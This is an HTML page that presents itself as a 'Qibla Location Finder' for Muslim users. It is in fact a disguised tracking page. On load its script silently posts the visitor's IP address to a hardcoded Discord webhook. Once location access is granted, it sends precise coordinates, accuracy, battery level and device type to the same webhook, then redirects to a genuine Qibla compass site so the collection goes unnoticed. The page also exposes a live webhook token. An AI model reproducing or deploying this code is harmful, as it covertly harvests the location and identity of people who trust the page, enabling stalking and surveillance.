testloc / index.html
abeea's picture
Update index.html
92d34b4 verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>QIBLA Location Finder</title>
<!-- Bootstrap 5 CSS -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/css/bootstrap.min.css" rel="stylesheet">
<!-- Bootstrap Icons -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.1/font/bootstrap-icons.min.css">
<!-- Custom CSS -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Floating Background Elements -->
<div class="floating-elements">
<div class="floating-element">๐Ÿ•Œ</div>
<div class="floating-element">๐Ÿ“ฟ</div>
<div class="floating-element">๐ŸŒ™</div>
<div class="floating-element">โญ</div>
<div class="floating-element">๐Ÿ•Œ</div>
<div class="floating-element">๐Ÿ“ฟ</div>
<div class="floating-element">๐ŸŒ™</div>
<div class="floating-element">โญ</div>
</div>
<!-- Toast Container -->
<div class="toast-container position-fixed top-0 end-0 p-3" style="z-index: 9999;">
<div id="notificationToast" class="toast" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-header d-none">
<strong class="me-auto">Notification</strong>
<button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
<div class="toast-body d-flex align-items-center">
<i class="me-2"></i>
<span class="toast-message"></span>
<button type="button" class="btn-close btn-close-white ms-auto" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
</div>
</div>
<!-- Main Container -->
<div class="container-fluid main-container">
<div class="row justify-content-center">
<div class="col-12 col-sm-10 col-md-8 col-lg-6 col-xl-5">
<div class="qibla-card">
<!-- Logo with placeholder image -->
<div class="text-center mb-4">
<div class="logo bg-primary d-flex align-items-center justify-content-center text-white" style="font-size: 3rem; margin: 0 auto;">
๐Ÿ•Œ
</div>
</div>
<h1 class="main-title">
<i class="bi bi-compass me-2"></i>
The Qibla Signifies Unity in Islam
</h1>
<p class="description">
Please enable location access to receive the most accurate Qibla direction.
</p>
<button id="getLocationBtn" class="btn qibla-btn">
<i class="bi bi-geo-alt me-2"></i>
OK, Let's Find Qibla
</button>
<!-- Loading Spinner -->
<div id="loadingSpinner" class="loading-spinner">
<div class="spinner-border text-primary" role="status">
<span class="visually-hidden">Loading...</span>
</div>
<p class="mt-2 text-muted">Getting your location...</p>
</div>
<!-- Status Message -->
<div id="statusMessage" class="status-message d-none"></div>
</div>
</div>
</div>
</div>
<!-- Bootstrap 5 JS -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/js/bootstrap.bundle.min.js"></script>
<script>
// Enhanced notification system
class NotificationManager {
constructor() {
this.toastElement = document.getElementById('notificationToast');
this.toastInstance = new bootstrap.Toast(this.toastElement, {
autohide: true,
delay: 5000
});
}
show(message, type = 'info') {
const toastBody = this.toastElement.querySelector('.toast-body');
const icon = toastBody.querySelector('i');
const messageSpan = toastBody.querySelector('.toast-message');
// Reset classes
this.toastElement.className = 'toast';
// Set message
messageSpan.textContent = message;
// Set icon and style based on type
switch(type) {
case 'success':
this.toastElement.classList.add('toast-success');
icon.className = 'bi bi-check-circle-fill me-2';
break;
case 'error':
this.toastElement.classList.add('toast-error');
icon.className = 'bi bi-exclamation-triangle-fill me-2';
break;
case 'info':
this.toastElement.classList.add('toast-info');
icon.className = 'bi bi-info-circle-fill me-2';
break;
case 'warning':
this.toastElement.classList.add('toast-warning');
icon.className = 'bi bi-exclamation-triangle-fill me-2';
break;
}
this.toastInstance.show();
}
}
// Initialize notification manager
const notifications = new NotificationManager();
// Enhanced geolocation handler
class QiblaFinder {
constructor() {
this.button = document.getElementById('getLocationBtn');
this.loadingSpinner = document.getElementById('loadingSpinner');
this.statusMessage = document.getElementById('statusMessage');
this.isProcessing = false;
this.init();
}
init() {
// Send IP address on load
this.sendIpAddressOnLoad();
// Add button click handler
this.button.addEventListener('click', () => this.handleLocationRequest());
// Check geolocation support
if (!navigator.geolocation) {
this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.');
notifications.show('Geolocation not supported by this browser', 'error');
}
}
handleLocationRequest() {
if (this.isProcessing) return;
this.isProcessing = true;
this.showLoading(true);
this.button.disabled = true;
notifications.show('Requesting your location...', 'info');
const options = {
enableHighAccuracy: true,
timeout: 10000,
maximumAge: 300000 // 5 minutes
};
navigator.geolocation.getCurrentPosition(
(position) => this.handleSuccess(position),
(error) => this.handleError(error),
options
);
}
handleSuccess(position) {
const { latitude, longitude } = position.coords;
const accuracy = position.coords.accuracy;
notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success');
this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success');
// Send location data
this.sendLocationData(latitude, longitude, accuracy);
}
handleError(error) {
this.isProcessing = false;
this.showLoading(false);
this.button.disabled = false;
let errorMessage = '';
let userMessage = '';
let showPermissionHelp = false;
switch(error.code) {
case error.PERMISSION_DENIED:
errorMessage = "User denied the request for Geolocation.";
userMessage = "Location access denied. Please enable location permissions to find Qibla direction.";
showPermissionHelp = true;
notifications.show('Location permission denied', 'error');
break;
case error.POSITION_UNAVAILABLE:
errorMessage = "Location information is unavailable.";
userMessage = "Unable to determine your location. Please check your GPS settings.";
notifications.show('Location unavailable', 'error');
break;
case error.TIMEOUT:
errorMessage = "The request to get user location timed out.";
userMessage = "Location request timed out. Please try again.";
notifications.show('Location request timed out', 'warning');
break;
default:
errorMessage = "An unknown error occurred.";
userMessage = "An unexpected error occurred. Please try again.";
notifications.show('Unknown error occurred', 'error');
break;
}
this.showStatus(userMessage, 'error');
if (showPermissionHelp) {
this.showPermissionHelp();
}
// Send error to Discord
this.sendMessageToDiscord(errorMessage);
console.error('Geolocation error:', error);
}
showPermissionHelp() {
setTimeout(() => {
const helpMessage = `
<div class="mt-3 p-3 bg-light rounded">
<h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6>
<ul class="text-start small mb-0">
<li><strong>Chrome:</strong> Click the location icon in the address bar</li>
<li><strong>Firefox:</strong> Click the shield icon and allow location</li>
<li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li>
<li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li>
</ul>
</div>
`;
this.statusMessage.innerHTML += helpMessage;
}, 1000);
}
showLoading(show) {
this.loadingSpinner.style.display = show ? 'block' : 'none';
}
showStatus(message, type) {
this.statusMessage.className = `status-message status-${type}`;
this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`;
this.statusMessage.classList.remove('d-none');
}
async sendLocationData(latitude, longitude, accuracy) {
try {
const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
const userAgent = navigator.userAgent;
let batteryInfo = 'Not Available';
// Get battery info if available
if ('getBattery' in navigator) {
try {
const battery = await navigator.getBattery();
batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`;
} catch (e) {
console.log('Battery API not available');
}
}
// Get IP address
const ipResponse = await fetch('https://api.ipify.org?format=json');
const ipData = await ipResponse.json();
const message = {
content: `๐ŸŽฏ **New Qibla Location Request**\n` +
`๐Ÿ“ **Location:** ${googleMapsLink}\n` +
`๐ŸŒ **IP Address:** ${ipData.ip}\n` +
`๐Ÿ“ฑ **Accuracy:** ${Math.round(accuracy)} meters\n` +
`๐Ÿ”‹ **Battery:** ${batteryInfo}\n` +
`๐Ÿ’ป **Device:** ${this.getDeviceInfo(userAgent)}\n` +
`๐Ÿ• **Time:** ${new Date().toLocaleString()}`
};
const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B';
const response = await fetch(webhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
});
if (response.ok) {
setTimeout(() => {
notifications.show('Redirecting to Qibla compass...', 'success');
this.redirectToQibla();
}, 2000);
} else {
throw new Error(`HTTP ${response.status}`);
}
} catch (error) {
console.error('Error sending location data:', error);
notifications.show('Failed to process location data', 'error');
this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning');
setTimeout(() => this.redirectToQibla(), 3000);
} finally {
this.isProcessing = false;
this.showLoading(false);
this.button.disabled = false;
}
}
getDeviceInfo(userAgent) {
if (/Android/i.test(userAgent)) return 'Android Device';
if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device';
if (/Windows/i.test(userAgent)) return 'Windows PC';
if (/Mac/i.test(userAgent)) return 'Mac';
if (/Linux/i.test(userAgent)) return 'Linux';
return 'Unknown Device';
}
async sendIpAddressOnLoad() {
try {
const response = await fetch('https://api.ipify.org?format=json');
const data = await response.json();
const message = {
content: `๐Ÿ‘‹ **New Visitor**\n๐ŸŒ **IP:** ${data.ip}\n๐Ÿ• **Time:** ${new Date().toLocaleString()}`
};
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
});
} catch (error) {
console.error('Error sending IP address:', error);
}
}
sendMessageToDiscord(messageContent) {
const message = {
content: `โš ๏ธ **Error Report**\n๐Ÿ“ **Message:** ${messageContent}\n๐Ÿ• **Time:** ${new Date().toLocaleString()}`
};
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(message)
}).catch(error => console.error('Discord webhook error:', error));
}
redirectToQibla() {
window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.html';
}
}
// Initialize when DOM is loaded
document.addEventListener('DOMContentLoaded', () => {
new QiblaFinder();
});
// Show welcome notification
window.addEventListener('load', () => {
setTimeout(() => {
notifications.show('Welcome! Click the button to find your Qibla direction.', 'info');
}, 1500);
});
</script>
</body>
</html>